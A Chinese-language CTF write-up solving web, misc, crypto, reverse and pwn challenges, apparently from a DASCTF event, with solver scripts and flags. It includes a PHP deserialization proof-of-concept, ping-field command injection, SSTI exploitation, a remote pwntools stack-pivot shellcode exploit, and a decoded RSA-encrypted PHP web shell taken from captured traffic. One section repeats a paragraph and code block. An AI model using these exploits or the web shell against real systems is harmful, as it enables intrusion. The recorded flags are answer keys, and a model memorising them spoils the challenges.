WEB

速算比赛

先简单使用yakit抓包,发现只要不对/进行get操作,题目就不会改变,但是一旦使用post/get方法请求/,就会修改题目,因此需要使用脚本自动解析题目并提交答案。代码如下:

import re

import requests
from bs4 import BeautifulSoup

html_contents = []
url = 'http://139.155.126.78:15979/'

headers = {
'Host': '139.155.126.78:15979',
'Upgrade-Insecure-Requests': '1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Referer': 'http://139.155.126.78:15979/',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': 'PHPSESSID=bbbe934afcc45bd0543339118e3e1bce',
'Origin': 'http://139.155.126.78:15979',
'Priority': 'u=0, i',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'
}

# 解析算式并计算结果
def parse_and_calculate(calculate_text):
# 使用正则表达式匹配算式
match = re.search(r'Calculate: (\d+) (\+|-) (\d+)', calculate_text)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
if operator == '+':
return num1 + num2
elif operator == '-':
return num1 - num2
return None


for i in range(100):
response = requests.get(url, headers=headers)
response.encoding = 'utf-8'
print(response.text)

if response.status_code == 200:
html_contents.append(response.text)
print(f"第 {i + 1} 次请求成功,HTML内容已存储。")
else:
print(f"第 {i + 1} 次请求失败,状态码:{response.status_code}")
soup = BeautifulSoup(response.text, 'html.parser')
post_data = {'answer': parse_and_calculate(response.text)}
post_response = requests.post(url, headers=headers,data=post_data)
print(post_data)

def find_flag(html_list):
for index, html_content in enumerate(html_list):
soup = BeautifulSoup(html_content, 'html.parser')
for text in soup.stripped_strings:
if 'flag' in text.lower():
return f"找到flag在第 {index + 1} 次请求的HTML中:{html_content}"
return "没有找到包含'flag'的内容。"


result = find_flag(html_contents)
print(result)

Sal图集

首先打开靶机,我们可以看到如下页面

image-20241220194111229

我们寻找功能点

image-20241220194149187

可以发现这个name=1非常奇怪,我们直接尝试 ssti,发现存在 ssti漏洞

image-20241220194210437

直接fenjing一把梭

image-20241220194227361

popmart

首先我们看到页面提示c一下,我们可以联想到ping -c命令,所以我们尝试进行任意命令执行,如下所示

image-20241220194335881

我们可以尝试去读取flag.php,但是可以发现被限制了命令输出长度

image-20241220194400896

我们可以联想到用nl *进行所有文件的读取,如下所示

image-20241220194448537

但是我们仍然没有发现flag.php的踪迹,但是我们可以注意到里面p0pmart.php存在反序列化漏洞,而且在这个php文件里包含了flag.php文件,所以大概率就是利用这个反序列化漏洞进行flag读取,p0pmart.php源码如下所示

<?php
283 error_reporting(0);
284 require_once("flag.php");
285
286 class popmart{
287 public $yuki;
288 public $molly;
289 public $dimoo;
290
291 public function __construct(){
292 $this->yuki='tell me where';
293 $this->molly='dont_tell_you';
294 $this->dimoo="you_can_guess";
295 }
296
297 public function __wakeup(){
298 global $flag;
299 global $where_you_go;
300 $this->yuki=$where_you_go;
301
302 if($this->molly === $this->yuki){
303 echo $flag;
304 }
305 }
306 }
307
308 $pucky = $_GET['wq'];
309 if(isset($pucky)){
310 if($pucky==="二仙桥"){
311 extract($_POST);
312 if($pucky==="二仙桥"){
313 die("<script>window.alert('说说看,你要去哪??');</script>");
314 }
315 unserialize($pucky);
316 }
317 }

很简单的一道反序列化,直接构造pop链,最后的poc如下所示

GET:p0pmart.php?wq=二仙桥
POST:pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you

image-20241220194559130

执行可以成功拿到flag

Misc

gza_Cracker

哥斯拉流量爆破密钥,可以在流量包中找到字典,导出,然后直接 NetA 一把梭。

image-20241220194702534

image-20241220194712645

发现 flag base64 编码后的内容,cyberchef 解即可。

image-20241220194736907

不良劫

拿到一张 jpg,后面藏了一个 png,直接 foremost 分离,得到一张 jpg 和 png。

jpg 有盲水印,直接用工具查看,得到后半段 flag。

image-20241220194916662

png 是一张被涂抹的二维码,可以先stegsolve 提取 red plane0,然后用画图工具修补左上角的定位,用微信扫码才能扫出,得到前半段 flag。

image-20241220194942741

image-20241220194958324

特殊流量

首先分析 http流量,发现与 /uploads/my_rsa.php 频繁交互,请求里面是加密的一些内容,然后响应是 base64 编码后的内容。

在流量中搜索 my_rsa.php,可以找到一个包含该文件的 zip 压缩包。

image-20241220195047690

将其提取出来,解压后得到 my_rsa.php 的源码。

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);

把 eval 改成 echo,就能解密那些请求了。

解密后发现并没有什么东西,因为实际执行的命令在后面的参数中,而不是 ant 参数。

修改一下脚本,直接将其输出。

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);

把 eval 改成 echo,就能解密那些请求了。

解密后发现并没有什么东西,因为实际执行的命令在后面的参数中,而不是 ant 参数。

修改一下脚本,直接将其输出。

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
echo $de."<br/>";
}
}
echo($cmd);

本地启动该服务,随便粘一个 payload 进去,可以解密出3个内容,其中”第一部分“是 base64 编码后的 /bin/zsh,”第二部分“是实际执行的命令,”第三部分“没用。

可以过滤 http.request.method == POST,把所有 POST 请求过滤出来。

image-20241220195255669

就拿第一个为例,我们把payload 解密后是如下内容。

image-20241220195340983

第二个内容去掉前几个字符,base64 解出来是如下内容。

image-20241220195356909

就是把 secret 文件中的 i,7 这两个字符都替换成了 x,我们可以在这条流的响应中拿到回显。

image-20241220195416655

也是去掉前几个字符,然后 base64 解码。

image-20241220195448087

框住的地方就是替换字符后的 secret 文件。

我们依次解密所有的 payload,发现有的 payload 解不出来”第二部分”,问题出在 php 的 openssl_public_decrypt,一次只能解 128 个字节,我们需要每次取 128 个字节,然后 base64 编码后传入解密,最后再拼接才能解出正确的内容。

image-20241220195520592

image-20241220195532708

<?php
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$pk = openssl_pkey_get_public($pk);
$v = "SpdmQo8YK6Iag/3iNakttTCsmjdZN+VU9AakLngsk00A9jL6e5zyjPF5ePQpXrXxy2ZjSXLfS5J9t7xatfP6Rqjsl/7UQU+jrfgLE9fejXv0mOSDjZuu+4Qaw8eLX0QIbohjkI6eyTHcKBDITcEt2oe6vBG4re29lCopCaXOo+Q=";
openssl_public_decrypt(base64_decode($v), $de, $pk);
echo($de);

每一段都这样处理,最后拼起来就是正确的“第二部分”。

其中一条流的payload解出来是这样的内容。

image-20241220195615949

U2FsdGVkX18tplkP51SopY26cczUyjuT8tP9j3Ofqv5XF5njA7CygY125iYhxplSQTNoT/kcwoN1z+4a4r/+9JtONfutcHXoyCv2tLseBHr802V/RRtFaZnZc3DM/trRmjk5SAyMSgvN+laSp6uK8eAOq7yKWq7FI+En5cu+j7+bxiuceviSoJ9gEw3SfEMtz4rYbKHagq8aCAlKPEevM+HVSnGSrMoy6QS8oQPgHkafdVj2m1HmfkdQFL5q7qYvrxVlRLbm657I0VIIusf8Q6+rsvlh28HrE3MzLlu6fd/cQ7nsZKuKYo0u4pc/yvI3RZglrd7Fb6piO4ryhs2g1g==

根据特征,应该是 AES 加密后的 flag,但是不知道密钥。

密钥应该是在 secret 里面,其中一条流的指令是 md5sum secret,可以知道secret 的 MD5 值,这里不做演示,解密方法和上面一样。

edffd5be04cc060e343cad479a8b845c

直接爆破哈希。注意有的 x 字符原本就是 x。

from hashlib import md5
key = "xx34d619x1brxgd9mgd4xzxwxytv669w"
mymd5 = "edffd5be04cc060e343cad479a8b845c"
box = ['i','7','x']
for p1 in box:
for p2 in box:
for p3 in box:
for p4 in box:
for p5 in box:
for p6 in box:
for p7 in box:
key = p1 + p2 + "34d619" + p3 + "1br" + p4 + "gd9mgd4" + p5 + "z" + p6 + "w" + p7 + "ytv669w"
temp = md5(key.encode()).hexdigest()
if temp == mymd5:
print(key)

发现跑不出来,原来抽象出题人往 secret 里面最后放了一个换行符。

from hashlib import md5
key = "xx34d619x1brxgd9mgd4xzxwxytv669w"
mymd5 = "edffd5be04cc060e343cad479a8b845c"
box = ['i','7','x']
for p1 in box:
for p2 in box:
for p3 in box:
for p4 in box:
for p5 in box:
for p6 in box:
for p7 in box:
key = p1 + p2 + "34d619" + p3 + "1br" + p4 + "gd9mgd4" + p5 + "z" + p6 + "w" + p7 + "ytv669w\n"
temp = md5(key.encode()).hexdigest()
if temp == mymd5:
print(key)

跑出来 secret 的内容如下。

i734d619i1brigd9mgd4xz7w7ytv669w

image-20241220195905630

将 Delta 替换成 D,Alpha 替换成 A,数字的英文单词替换成数字,Dash 替换成连字符,其他依此类推,得到最终的 flag,最后还需要把大写字母换成小写的。

DASCTF3FD34B59-4E9D-4390-927B-1346D5364D99

image-20241220195931603

PixMatrix

image-20241220195956302

image-20241220200029401

放大图片仔细看,发现就是每 88 的像素中,把左下角 44 的像素和右上角 4*4 的像素交换, GPT 跑一个脚本即可。

from PIL import Image
import numpy as np


# 交换两个子矩阵的函数
def swap_subblocks(block):
# block 是一个 8x8 的块
# 将左下角的 4x4 与右上角的 4x4 交换
left_bottom = block[4:8, 0:4]
right_top = block[0:4, 4:8]

# 执行交换
block[0:4, 4:8] = left_bottom
block[4:8, 0:4] = right_top

return block


# 读取图片
def process_image(input_image_path, output_image_path):
# 打开图片并转换为 RGB 模式
img = Image.open(input_image_path)
img = img.convert("RGB")

# 将图片转换为 NumPy 数组
img_array = np.array(img)

# 获取图片的宽度和高度
height, width, _ = img_array.shape

# 按 8x8 的块进行遍历
for y in range(0, height, 8):
for x in range(0, width, 8):
# 选择当前的 8x8 块,确保它不会越界
block = img_array[y:y + 8, x:x + 8]
if block.shape[0] == 8 and block.shape[1] == 8:
# 交换块中的左下角和右上角
img_array[y:y + 8, x:x + 8] = swap_subblocks(block)

# 将处理后的图像数组转换回图片
processed_img = Image.fromarray(img_array)

# 保存处理后的图片
processed_img.save(output_image_path)


# 输入输出图片路径
input_image_path = "PixMatrix.jpg" # 你的输入图片路径
output_image_path = "output.jpg" # 输出图片路径

# 处理图片
process_image(input_image_path, output_image_path)

image-20241220200108855

DS

ds-findphone

只需要使用正则过滤合法手机号即可

import csv
import re

# 定义符合条件的手机号码前三位数字
prefixes = [
"734", "735", "736", "737", "738", "739", "747", "748", "750", "751", "752",
"757", "758", "759", "772", "778", "782", "783", "784", "787", "788", "795",
"798", "730", "731", "732", "740", "745", "746", "755", "756", "766", "767",
"771", "775", "776", "785", "786", "796", "733", "749", "753", "773", "774",
"777", "780", "781", "789", "790", "791", "793", "799"
]

pattern = re.compile(r'(?:' + '|'.join(prefixes) + r')\d{8}')


def find_phone_numbers(file_path):
phone_numbers = []
with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
matches = pattern.findall(line)
phone_numbers.extend(matches)
return phone_numbers

def write_to_csv(phone_numbers, csv_file_path):
with open(csv_file_path, 'w', newline='', encoding='utf-8') as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['category', 'value'])
for number in phone_numbers:
writer.writerow(['phone', number])

def main():
file_path = 'data.txt'
csv_file_path = 'output.csv'
phone_numbers = find_phone_numbers(file_path)
write_to_csv(phone_numbers, csv_file_path)

if __name__ == '__main__':
main()

Crypto

easy-crypto

原题杯之Hgame,差不多的思路

from Crypto.Util.number import long_to_bytes
n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287
leak_p = 115314121469787984258489158421056136177545051135641551928888818017665807264468
c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779

# [2023HGAME]
# P.<x> = PolynomialRing(Zmod(n))
# leak_p <<= 8
# for i in range(1,2**8,1):
# print(i)
# high_p = leak_p + i
# f = (high_p << 248) + x
# root = f.small_roots(2 ** 248, beta = 0.4, epsilon=0.015)
# if root:
# print((high_p << 248) + int(root[0]))
# 198 这个pass掉
# 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271675403765521525934826819324893449423498305770961735771317949943226040011955118573198769067061551989838767670580736439906588689203692227671575331075391326630
# 197
# 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343
p = 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343
q = n // p
P = (p - q) & ((1 << 130) - 1)
P_m_n = c % (n ** 2) - 1
m = (P_m_n // n // P)
print(long_to_bytes(m))
# b'DASCTF{365d0d2cda3a3836a19bf1f46760d875}'

image-20241220200313570

Mypow

原题杯之直接搜在csdn找到了

#sage
import gmpy2

n = 36443283250594259606482132779262570582448178589602577809591307671554949253094255209079689901493052116793388954529442162972106210862341856282788030374324677114528044629385805693771773377070021111949953333360526159026822968061585876873187059674130307295006486032106471182393880915860569773206853864515489855553
hint = 57792516722001523643789088224096258172899052039145876393373730235406451592173971020702024058282699663364267742428240581839287357212741266617791207580236457
ct = 24482128269957355675512496312977308128712253968496848873519792376434347925427116612997489113223781321628516365811583310346553402215907938918891908853234881284620764982626375301219763593402089309909155204943747718536894186749932544428588048770663458669109073657836937287831725958017345747881678942488157429000

R.<x> = Zmod()[]
f = 2*x^2 + 7*n - hint*x
p = int(f.roots()[0][0])
q = n//p

e = gmpy2.next_prime(666)-1

R.<x> = Zmod(p)[]
f = x^e-ct
f = f.monic()
results1 = f.roots()

R.<x> = Zmod(q)[]
f = x^e-ct
f = f.monic()
results2 = f.roots()

for i in results1:
for j in results2:
param1 = [int(i[0]),int(j[0])]
param2 = [p,q]
m = CRT_list(param1,param2)
flag = long_to_bytes(int(m))
if b'DASCTF' in flag:
print(flag)
break

image-20241220200402265

ddd

维纳直接脚本。。。原题杯3

import gmpy2
import libnum


def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf


def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator


def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)


def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf


def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d


n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380

d = wienerAttack(e, n)

m = pow(c, d, n)
print(libnum.n2s(m).decode())

# DASCTF{e694f0b4e9556021d1bc9e8deedba575}

QAQAT

原题杯4,,没看懂什么逻辑,但能出。

https://dexterjie.github.io/2024/12/01/%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/2024%E7%AC%AC%E4%BA%8C%E5%B1%8A%E7%A6%8F%E5%BB%BA%E7%9C%81%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/#step3

from Crypto.Util.number import *
from hashlib import sha256

def enc(pt, G, A, T, S, p):
s = randint(0,p-1)
D = G^s
E = A*T*A
F = D*E*D
K = list(D*S*D)
key = sum(K[0])+sum(K[1])+sum(K[2])
mask = int(sha256(str(key).encode()).hexdigest(),16)
ct = pt ^^ mask
return ct, F

p = 72887242108660141996862343556330151015969690949835567252527194788428065480383
Fp2.<i> = GF(p^2, modulus=x^2+1)
M = MatrixSpace(Fp2, 3, 3)

p = 72887242108660141996862343556330151015969690949835567252527194788428065480383
pk = ([(17721183402259872020800275954210023274983052570120081248291897425608931477093*i + 32398110280895896734010284949974832063887503132353681078977206899204202173789, 54531634495057046991515273558305428867102201405617856305008554208336946545276*i + 53559176432820530464958340934397135653021175198597495321065224929188410347695, 27719945502856754481236098196014205483081586087367078493933408080194499938927*i + 1450628736387393873166171805424299538505476789523674611289973478290718453200), (57242423786686483363839647362581564383925732392730073374546590355998555747077*i + 573726326354574516128249317235875704460857319673337707555095009277545125755, 33631043256657770245013631632455702904903259491780484310654749784948198388976*i + 17344746653834202604930860577508757708688427949046279718508635007113840369042, 37771390186920740637371383242878514021347606565375600086363978842439775164973*i + 60264754185911116825495147907207494752330900415794996812483089251259003404228), (1163730453993018743008743150834548760986076138562570206571825145859591284352*i + 69245390362211526197537288211735612650619880945856387683074182933575799994162, 11137807706588795799057940108843238078078690609437386007163034291855328303661*i + 50795522649623533714787572047531722836395032085224035511036953078383612475598, 14354786571703727534706086386589187674076604263117377684131521866407943036307*i + 63028649680815097939155846824928638616844025040257105384123424769274942520895)], [(22137116252880790433838296157765927318220905592359967466680754349755815464341*i + 35503968364379821899511866562472775961434113516937033217642581531414863539290, 38346074307552448152239080224505166810289185210503265380269711384969731945517*i + 9333819647786551924409858116441570177115099865486742684028611902450000042407, 24608192510515673607042276468532809071945836783394960695059783085937608049755*i + 27099766371861599260580052331632986107092105438254563604629919595057370886149), (57539731529782952718529369617033412770127782205874818027724894673104814770991*i + 12431864123786174601413168140961685219607645783666490625760143190724674574386, 33510082449726132893492104159133966168598115972734064630878005553829725389082*i + 30594711977745700371548334707069524826346332947574826081979927125841475148328, 8911862104171403632946802970568635607253840071000107875759139060453368618583*i + 51594672749496705581452789883241278156858476777167382827032876227546058970732), (58105830161247358431125768499050987088161417325586965601350797391396603985470*i + 10949064084676782939947256128733523229613253182051362970560478801614590446300, 6665352489343222248969975791152178151760060704226637217535985452272551528693*i + 16163109497937280055564868323730465088174193174761590036929535644203224067166, 26147088265849488467397913386934580340556987670869413865359802108333761377560*i + 14170094609019059182842713618319151553137248441974849089555832123638494739417)], [(60066006389024369318961505483331049048095679333675437984483948643792214278503*i + 67617085525047580942273623886038114942547589259839196477555874755427651308048, 38692305959834079988532869421062338838072016075793686080934562521314366274998*i + 21104829450473981189549299039898127784065322316764325995863199136802573514, 7207625628360021282792621977024027446511231977201394776410095364976996279450*i + 23039079766688651678553952766794875180844089420934577132338235904018762773928), (10808368042897084491009063074724200907600038030639153659288985642861405920614*i + 33955795465220353002933680692690511153845418737513482128237117905262919879043, 21645210772494061734726430463955231707074915293749580279327741388687068110310*i + 62225984739450865202997071369617271241348810092608626482294704825641320606694, 14572118842071162051223076904993643512402905544627821044103215186921277812496*i + 63504547636870837320642724540312613748726280369811190421219651308407770510674), (6529211642735966744323364626486352288002532267939478445216264742350974653419*i + 43426895500365913698127867498420593427453574994051597107529725996420257433857, 66636149494607064863031794353485502915121295051850619450321561966293398587284*i + 51049172134567530748763269555600518661288880531459625871071308764595168859033, 42297258788816007263333796194491196601979606573843177791726417124128570106777*i + 45527674821983322767637713856131638914194577467349514130179266972864796164733)], [(47645610858583239528541540288030905132801730740336899517917521534427703920375*i + 13272393664089987551368548207128885229248289454405159277755757369580866096516, 60503024931869977830369448001966194434192750710631225090391559259672930497207*i + 22742672333325631628906219543935772962495637869131049729874762344108069789046, 18239371575343144081671835175136676417172797381923442300525086630600561560114*i + 53605095942301227312866863441233162082087535371838738595931070092230378325532), (49652795839344946948771531270341537200526957150620826334216871981974859849848*i + 72788891932812016325514298655742330969740202920835574638161526839627026310392, 58465406030985457122487065262985150103086610852826560192123766406670919681919*i + 41631921368744416558173670147590406285376603436284660888096365325833457519047, 2867068797023070369258694926242485369317317985428997150826022662547346928319*i + 199536555238705400453079146297641296197748614855192340202929119323998667173), (19319782936524636558881137449470396788888469756320580071801690941326971557928*i + 34694728896207512382372151140975478616355941017631874070450334268575015485538, 60420266086997924618637147844041161464210208935194926422677077391866663978425*i + 13672363312837218411993834816309940812825734002380106434784905443915361955247, 56317025568717741728727542740124505299029374963112095990350877412868385510001*i + 56960621295573230601502052571104746367180500789238336757504091383665514782189)])
F = [(36081831373398765496490121898118275331597167308301671911642273861563666664545*i + 20818485079783326431414952124332440995164298376805349071762867760925654560129, 2080527476644284459469754065728582261439110792635520661740429151724797376184*i + 22485923248080983391383279592637691489160934672854638306617785344436031827838, 15544373162545014827602222261755865080947187122261471926061663568794038512828*i + 65994932829738499994169748656063604384011854387402875895186473718226656419067), (3553534440103543686958858303956716887328727627636404431097647427819509340361*i + 41182149981825439188243414995474733005799065992663037326956422731949977723727, 11444151159046255413538671703716370245288291793592500278345001664024824339590*i + 1802783416049323926195923226865768221398255563865542946492803065162093093803, 15739175840903697568714274177182938758189586472507039731239155962622285528109*i + 38249065906628598713138583591858150126778794837077688369911160900556744463900), (14364753807737302773559096493138893453118094354943941768609481298414054855231*i + 16290236676179704559365899211744462983770375364688247022596145726641137243214, 3863306473986430132042752882629555431418515741358351198972027547882636615940*i + 1209446834271293681961506708684952401569936830292701272655835127315444154958, 21868026584808712490812183410257662299067350008298604021123682243508255905173*i + 12828201007038003022201361213007595366913298546122923089499182187938898042596)]
ct = 96910798667771988374291172958072220832574586618080134344021393928577220469428

A, T, S, G = [M(ii) for ii in pk]
F = M(F)


############################################################### attack
E = A*T*A
detA, detT, detS, detG, detE, detF = A.det(), T.det(), S.det(), G.det(), E.det(), F.det()
r = 2244966557637008779362441591080406338119704738381872153797151
#R = 80839783875482453208291688688697485912290384775841712705111124172946909733768714734343762988749579725275997021760357500939
#r = discrete_log(detG^R, ((detA^(-1)*detT).sqrt())^R, ord=(p^2-1)//R)
#s = discrete_log(((detA^(-2)*detT^(-1)*detF).sqrt())^R, detG^R, ord=(p^2-1)//R)
#not enough so use cado-nfs

import subprocess

command = [
'./cado-nfs.py',
'-dlp',
'-ell', str(r),
'target='+str(t1),
str(p)
]
#1541758195020130454925136833461872657607368759409055632195831

command = [
'./cado-nfs.py',
'-dlp',
'-ell', str(r),
'target='+str(t2),
str(p)
]
#780392429787953543532147509264510635118839088869098098140941

try:
result = subprocess.run(command, check=True, text=True, capture_output=True)
print(result.stdout)
except subprocess.CalledProcessError as e:
print(f"ERROR: {e.returncode}")
print("ERROR:", e.stderr)

#t2^s = t1
Fr = GF(r)
s1 = Fr(1541758195020130454925136833461872657607368759409055632195831)
s2 = Fr(780392429787953543532147509264510635118839088869098098140941)
ss = discrete_log(pow(t1, 6*r, p), pow(t2, 6*r, p), operation="*", ord=(p-1)//r)
s = crt([int(ss), int(s1/s2)], [(p-1)//(6*r), r])

ss = s
for ii in range(6):
s = ss + ii * (p-1) // 6
D = G^int(s)
K = list(D*S*D)
key = sum(K[0])+sum(K[1])+sum(K[2])
mask = int(sha256(str(key).encode()).hexdigest(),16)
pt = ct ^^ mask
if(D.det()*detE*D.det() == detF):
print(long_to_bytes(pt))
break

# QAQ~4_Br0ken_Crypto_Sy5tem~TAT

Reverse

easygo

一道go,反汇编后直接跑脚本。。。原题。。

nums=[0x22B9,0x0C9F8,0x8C89,0x0FF18,0x1439,0x4E0A,0x2A8B,0x7CB,0x0BDEB,0x0FAAB,0x3FFB,0x784B,0x9F1E,0x4FEB,0x4D0B,0x0D08E,0x38BB,0x0CBAE,0x0D2CE,0x913E,0x0A6B,0x0F03B,0x507B,0x398B,0x93DE,0x3CCE,0x459E,0x4ABE,0x553E,0x316E,0x33BE,0x42FE,0x0CECE,0x4DDE,0x982B,0x0A31B,0x802E,0x12EE,0x0F67A,0x0EB79]
main_tmp=0xdead
nums1=[]
for i in range(40):
main_tmp = (291 * main_tmp + 1110)
main_tmp&=0xffff
nums1.append(main_tmp)
for i in range(40):
nums[i]^=nums1[i]
import binascii
dst=binascii.hexlify(bytes(nums))
mm=bytes([dst[-1]])+dst[:-1]
print(mm)
# faddff8cb4d711edbb2294085339ce84

bouquet

我们用ida打开附件,如下所示

image-20241220200647459

在这里面可以发现一个特殊的字符串

ja7Cws_A3daTd4qDo8}F_Sd{a

根据题目提示,这就是我们需要找的中序遍历,我们还需要去找一个前序或者后序

image-20241220200732610

j7aw_sC3addq4TAo}8_Fda{SD

我们直接去这个网站上生成http://www.easycode.top/

image-20241220200809570

我们层序遍历读取flag即可

DASCTF{asd48_daj7w_3adqo}

Pwn

canary

利用rsi残存,跳过去,再输入新的orw,执行就行,注意调整rsp,涉及到栈操作会受到影响。一开始分段去执行shellcode。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# banary = "./canary"
# elf = ELF(banary)
# p = process(banary)

p = remote('139.155.126.78', 30409)

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(p.recv(10),16)
iuu64 = lambda : int(p.recv(6),16)
uheap = lambda : u64(p.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : p.interactive()

pop_rsp = 0x40081B
jmp_rsi = asm("jmp rsi")
ru(b'journey\n')
pay = p64(0x400820)+p64(pop_rsp)+jmp_rsi
s(pay)
ru(b'Sea\n')
s(b'a'*16)
ru(b"magic\n")
s(asm("syscall"))
